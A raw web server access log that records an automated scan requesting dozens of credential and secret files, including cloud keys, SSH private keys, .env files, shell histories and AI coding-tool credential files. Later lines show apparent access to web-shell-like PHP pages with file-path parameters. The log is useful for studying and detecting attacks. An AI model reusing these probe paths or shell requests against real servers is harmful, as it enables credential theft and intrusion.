165.154.236.229 - - [11/Sep/2026:15:42:19 -0400] "GET /.config/gcloud/access_tokens.db HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:20 -0400] "GET /.config/gcloud/credentials.db HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:21 -0400] "GET /.config/gemini/config.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:22 -0400] "GET /.aws/credentials HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:23 -0400] "GET /.aws/config HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:24 -0400] "GET /.aws/sso/cache/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:25 -0400] "GET /.aws/credentials.backup HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:26 -0400] "GET /.aws/credentials.bak HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:27 -0400] "GET /.boto HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:28 -0400] "GET /.s3cfg HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:29 -0400] "GET /.bashrc HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:30 -0400] "GET /.bash_profile HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:31 -0400] "GET /.zshrc HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:32 -0400] "GET /.bash_history HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:32 -0400] "GET /.zsh_history HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:33 -0400] "GET /.profile HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:34 -0400] "GET /.npmrc HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:35 -0400] "GET /.netrc HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:36 -0400] "GET /.pypirc HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:37 -0400] "GET /app/.env HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:38 -0400] "GET /srv/.env HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:39 -0400] "GET /opt/.env HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:40 -0400] "GET /.kimi/kimi-code.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:41 -0400] "GET /.kimi/credentials/kimi-code.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:41 -0400] "GET /.deepseek/config.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:42 -0400] "GET /.moonshot/settings.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:43 -0400] "GET /.dashscope/api_key HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:44 -0400] "GET /.git-credentials HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:45 -0400] "GET /.ssh/id_rsa HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:46 -0400] "GET /.ssh/id_ed25519 HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:47 -0400] "GET /.ssh/id_ecdsa HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:48 -0400] "GET /.ssh/id_dsa HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:49 -0400] "GET /.ssh/known_hosts HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:50 -0400] "GET /.ssh/config HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:51 -0400] "GET /.ssh/authorized_keys HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:52 -0400] "GET /.docker/config.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:53 -0400] "GET /docker-compose.yml HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:54 -0400] "GET /docker-compose.yaml HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:55 -0400] "GET /.azure/credentials HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:56 -0400] "GET /.azure/accessTokens.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:57 -0400] "GET /.azure/azureProfile.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:58 -0400] "GET /.azure/clouds.config HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:59 -0400] "GET /.azure/config HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:42:59 -0400] "GET /.azure/msal_token_cache.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:00 -0400] "GET /.azure/servicePrincipal.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:01 -0400] "GET /db.sqlite3 HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:01 -0400] "GET /app.db HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:02 -0400] "GET /database.db HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:03 -0400] "GET /data.db HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:03 -0400] "GET /prisma/dev.db HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:04 -0400] "GET /storage/database.sqlite HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:05 -0400] "GET /instance/app.sqlite HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:06 -0400] "GET /.vscode/User/globalStorage/state.vscdb HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:07 -0400] "GET /.cursor/User/globalStorage/state.vscdb HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:08 -0400] "GET /root/.bash_history HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:08 -0400] "GET /root/.zsh_history HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:09 -0400] "GET /root/.profile HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:10 -0400] "GET /root/.bashrc HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:12 -0400] "GET /root/.zshrc HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:13 -0400] "GET /root/.spawnrc HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:14 -0400] "GET /root/.wallet-env HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:15 -0400] "GET /root/.env HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:16 -0400] "GET /root/.env.local HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:17 -0400] "GET /root/.claude/.credentials.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:18 -0400] "GET /root/.claude.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:19 -0400] "GET /root/.claude/CLAUDE.md HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:20 -0400] "GET /root/.gemini/oauth_creds.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:21 -0400] "GET /root/.gemini/settings.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:22 -0400] "GET /root/.codex/auth.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:24 -0400] "GET /root/.openclaw/.env HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:25 -0400] "GET /root/.openclaw/workspace/.env.local HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:25 -0400] "GET /root/.openclaw/openclaw.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:26 -0400] "GET /root/.config/moltbook/credentials.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:28 -0400] "GET /root/.config/vastai/credentials.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:30 -0400] "GET /root/.openclaw/openclaw.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:31 -0400] "GET /root/.nerve/config.yaml HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:31 -0400] "GET /root/.config/opencode/config.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:32 -0400] "GET /root/.nerve/.env HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:37 -0400] "GET /root/.aws/config HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:38 -0400] "GET /root/.aws/credentials HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:38 -0400] "GET /root/.aws/credentials.backup HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:39 -0400] "GET /root/.aws/sso/cache/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:40 -0400] "GET /root/.aws/credentials.bak HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:43 -0400] "GET /root/.ssh/id_rsa HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:44 -0400] "GET /root/.ssh/id_ecdsa HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:44 -0400] "GET /root/.ssh/id_ed25519 HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:44 -0400] "GET /root/.aws/config HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:46 -0400] "GET /actuator/env HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:49 -0400] "GET /actuator/configprops HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:58 -0400] "GET /error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:59 -0400] "GET /mah.php HTTP/1.1" 200 5483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:43:59 -0400] "GET /thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:44:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 102279 "https://163.245.207.76:443/thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
165.154.236.229 - - [11/Sep/2026:15:44:01 -0400] "GET /wordpress-6.6.2-zh_TWPlus.zip HTTP/1.1" 200 360448 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.77.61.56 - - [11/Sep/2026:15:51:20 -0400] "GET / HTTP/2" 200 1727 "-" "Mozilla/5.0 (compatible; CyberConvoyScout/1.0; +https://scout.cyberconvoy.co)"
43.159.34.167 - - [11/Sep/2026:15:57:31 -0400] "GET /upgrade/index.php?file_location=/home/blackpussy06/public_html/upgrade//txets.php&location=/home/blackpussy06/public_html/upgrade/ HTTP/1.1" 200 47290 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
2.194.71.187 - - [11/Sep/2026:16:07:00 -0400] "GET / HTTP/1.1" 200 1482 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36"
43.160.225.169 - - [11/Sep/2026:16:07:57 -0400] "GET /upgrade/index.php?location=/home/blackpussy06/public_html/ HTTP/1.1" 200 7618 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
43.153.104.196 - - [11/Sep/2026:16:19:37 -0400] "GET /upgrade/img/index.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
43.157.149.188 - - [11/Sep/2026:16:25:00 -0400] "GET /upgrade/admin.php?k=t HTTP/1.1" 200 1105 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
18.218.118.203 - - [11/Sep/2026:16:25:23 -0400] "GET /robots.txt HTTP/2" 404 1251 "http://163.245.207.76:443/robots.txt" "visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
18.218.118.203 - - [11/Sep/2026:16:25:24 -0400] "GET / HTTP/2" 200 1727 "http://163.245.207.76:443/" "visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
8.216.5.164 - - [11/Sep/2026:16:33:04 -0400] "GET / HTTP/1.1" 200 7660 "-" "curl/7.64.1"
8.216.5.164 - - [11/Sep/2026:16:33:05 -0400] "GET / HTTP/2" 200 1727 "-" "curl/7.74.0"
185.12.59.118 - - [11/Sep/2026:16:38:54 -0400] "GET /Dr0v HTTP/1.1" 404 1251 "-" "-"
109.52.61.251 - - [11/Sep/2026:16:49:17 -0400] "GET / HTTP/1.1" 200 1482 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36"
2.194.71.151 - - [11/Sep/2026:16:50:09 -0400] "GET / HTTP/1.1" 200 1488 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36"
185.226.197.75 - - [11/Sep/2026:16:50:28 -0400] "GET / HTTP/1.1" 200 1727 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36"
43.165.67.31 - - [11/Sep/2026:16:57:11 -0400] "GET /upgrade/index.php?location=/home/blackpussy06/public_html/&full_path=/home/blackpussy06/public_html/upgrade HTTP/1.1" 200 7584 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
43.157.43.147 - - [11/Sep/2026:17:05:50 -0400] "GET /upgrade/index.php?location=/home/blackpussy06/public_html/bodbooks.com.tw HTTP/1.1" 200 8307 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
